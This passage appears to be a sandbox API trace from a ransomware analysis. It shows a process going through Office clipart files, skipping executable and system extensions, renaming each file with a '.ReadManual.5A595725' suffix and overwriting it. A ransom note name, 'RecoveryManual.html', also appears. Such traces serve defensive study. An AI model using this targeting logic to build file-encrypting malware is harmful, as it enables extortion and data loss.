Office\\CLIPART\\PUB60COR\\J0239965.WMF.ReadManual.5A595725" [0268.996] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.ReadManual.5A595725") returned 87 [0268.996] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38966457185) returned 1 [0268.996] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf")) returned 0x20 [0268.996] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.996] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5920) returned 1 [0268.996] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1720, lpName=0x0) returned 0x184 [0268.997] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.998] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.998] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.999] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.999] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1720) returned 0x2f0000 [0268.999] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38966829300) returned 1 [0269.000] CloseHandle (hObject=0x184) returned 1 [0269.000] SetSecurityInfo () returned 0x57 [0269.000] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.000] CloseHandle (hObject=0x194) returned 1 [0269.000] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0269.000] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239967.WMF" | out: lpString1="J0239967.WMF") returned="J0239967.WMF" [0269.000] lstrcmpiW (lpString1="J0239967.WMF", lpString2="RecoveryManual.html") returned -1 [0269.000] StrStrIW (lpFirst="J0239967.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.000] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.000] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.000] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" [0269.000] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ReadManual.5A595725" [0269.000] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ReadManual.5A595725") returned 87 [0269.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38966925707) returned 1 [0269.001] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf")) returned 0x20 [0269.001] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.001] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5452) returned 1 [0269.001] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x154c, lpName=0x0) returned 0x184 [0269.001] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.002] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.002] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.003] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.004] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x154c) returned 0x2f0000 [0269.004] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38967265640) returned 1 [0269.004] CloseHandle (hObject=0x184) returned 1 [0269.004] SetSecurityInfo () returned 0x57 [0269.004] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.004] CloseHandle (hObject=0x194) returned 1 [0269.004] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0269.004] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239973.WMF" | out: lpString1="J0239973.WMF") returned="J0239973.WMF" [0269.004] lstrcmpiW (lpString1="J0239973.WMF", lpString2="RecoveryManual.html") returned -1 [0269.004] StrStrIW (lpFirst="J0239973.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.004] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.004] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.004] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.004] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.004] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.004] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.005] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" [0269.005] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ReadManual.5A595725" [0269.005] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ReadManual.5A595725") returned 87 [0269.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38967367016) returned 1 [0269.005] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf")) returned 0x20 [0269.005] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.005] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5096) returned 1 [0269.005] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e8, lpName=0x0) returned 0x184 [0269.005] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.006] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.006] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.008] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.008] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e8) returned 0x2f0000 [0269.008] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.008] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38967690767) returned 1 [0269.008] CloseHandle (hObject=0x184) returned 1 [0269.008] SetSecurityInfo () returned 0x57 [0269.008] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.008] CloseHandle (hObject=0x194) returned 1 [0269.008] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0269.008] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239975.WMF" | out: lpString1="J0239975.WMF") returned="J0239975.WMF" [0269.009] lstrcmpiW (lpString1="J0239975.WMF", lpString2="RecoveryManual.html") returned -1 [0269.009] StrStrIW (lpFirst="J0239975.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.009] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.009] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.009] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" [0269.009] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ReadManual.5A595725" [0269.009] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ReadManual.5A595725") returned 87 [0269.009] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38967790880) returned 1 [0269.009] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf")) returned 0x20 [0269.009] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.010] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3488) returned 1 [0269.010] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda0, lpName=0x0) returned 0x184 [0269.010] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.011] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.011] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.013] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.013] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda0) returned 0x2f0000 [0269.013] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.013] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38968169593) returned 1 [0269.013] CloseHandle (hObject=0x184) returned 1 [0269.013] SetSecurityInfo () returned 0x57 [0269.013] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.013] CloseHandle (hObject=0x194) returned 1 [0269.013] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0269.013] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239997.WMF" | out: lpString1="J0239997.WMF") returned="J0239997.WMF" [0269.013] lstrcmpiW (lpString1="J0239997.WMF", lpString2="RecoveryManual.html") returned -1 [0269.013] StrStrIW (lpFirst="J0239997.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.013] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.013] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.013] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.013] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.013] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.014] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.014] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" [0269.014] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ReadManual.5A595725" [0269.014] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ReadManual.5A595725") returned 87 [0269.014] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38968273066) returned 1 [0269.014] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf")) returned 0x20 [0269.014] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.014] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3288) returned 1 [0269.015] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd8, lpName=0x0) returned 0x184 [0269.015] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.016] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.016] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.017] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.017] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd8) returned 0x2f0000 [0269.017] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.018] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38968630937) returned 1 [0269.018] CloseHandle (hObject=0x184) returned 1 [0269.018] SetSecurityInfo () returned 0x57 [0269.018] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.018] CloseHandle (hObject=0x194) returned 1 [0269.018] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0269.018] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0240157.WMF" | out: lpString1="J0240157.WMF") returned="J0240157.WMF" [0269.018] lstrcmpiW (lpString1="J0240157.WMF", lpString2="RecoveryManual.html") returned -1 [0269.018] StrStrIW (lpFirst="J0240157.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.018] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.018] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.018] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" [0269.018] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ReadManual.5A595725" [0269.018] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ReadManual.5A595725") returned 87 [0269.019] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38968728606) returned 1 [0269.019] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf")) returned 0x20 [0269.019] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.020] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7672) returned 1 [0269.020] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df8, lpName=0x0) returned 0x184 [0269.020] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.020] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.021] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.022] 